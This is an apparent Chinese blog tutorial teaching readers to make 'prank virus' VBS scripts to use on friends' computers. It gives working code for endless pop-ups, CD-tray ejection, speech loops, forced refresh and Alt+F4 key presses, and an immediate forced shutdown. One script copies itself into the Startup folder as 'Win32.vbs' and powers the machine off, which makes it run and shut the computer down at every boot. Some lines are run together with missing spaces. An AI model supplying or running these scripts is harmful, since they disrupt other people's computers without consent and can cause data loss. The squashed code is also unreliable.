怎么样制作电脑病毒整人(简单VBS代码实现整蛊朋友电脑 小白可学)
大家好！我是蒙面科技，第一次开通头条号，给大家分享一个电脑整蛊代码，实现起来特别简单，只用到电脑上的记事本即可。
大神勿喷·简单教程，好了话不多说，开整！
第一步：
咱们先在自己电脑桌面新建一个TXT文本文档即可
第二步：
输入msgbox"一大波病毒正在靠近"点击文件->另存为->重命名为“新建文本文档.vbs
双击“新建文本文档.vbs”这个时候就会弹出一个对话框了
当然你还可以右键编辑里面添加更多你想让他弹出来的文字
双击打开。此时，会弹出提示对话框，点击确定和关闭按钮之后，再一次弹出窗口，如此循环，无法正常关闭。
那么到底要如何才能关闭呢？打开任务管理器结束进程“wscript.exe”即可
到此新手教学完毕，下面进入大神课堂教学。
无限弹出光驱：
------------------------------------------------
setwmp=createobject("wmplayer.ocx")
setcd=wmp.cdromcollection.item(0)
do
cd.eject
loop
------------------------------------------------
无尽语音报数：
无限语音从1数到无限大。
------------------------------------------------
Sets=CreateObject("sapi.spvoice")
i=0
do
s.speaki
i=i+1
loop
------------------------------------------------
无尽刷新：
慎用，如此刷新打开任务管理器都难，只能拔掉电源。
------------------------------------------------
setws=createobject("wscript.shell")
do
ws.sendkeys"{f5}"
loop
------------------------------------------------
修改注册表：
------------------------------------------------
onerrorresumenext
setwr=createobject("scripting.filesystemobject")
setws=createobject("wscript.shell")
setf=wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders\Startup")
ifnotf="Win32.vbs"thenwr.copyfilef,q&"\Win32.vbs",true
ws.run"shutdown-p",vbhide
------------------------------------------------
直接关机：
------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"shutdown-f-s-t00",0,true
------------------------------------------------
不断按下alt+f4：
打开任何程序都关掉
------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
do
wscript.sleep2500
WSHshell.SendKeys"%{F4}"
loop
------------------------------------------------
开玩笑也得有个度，凡事都不要太过。上面的代码的尺度还不算很大，大家可以玩玩。
如你觉得蒙面科技写的不错，可以给蒙面科技一点小小的支持点个赞评论一下哦，如果你也喜欢计算机网络技巧，可以点击关注哦！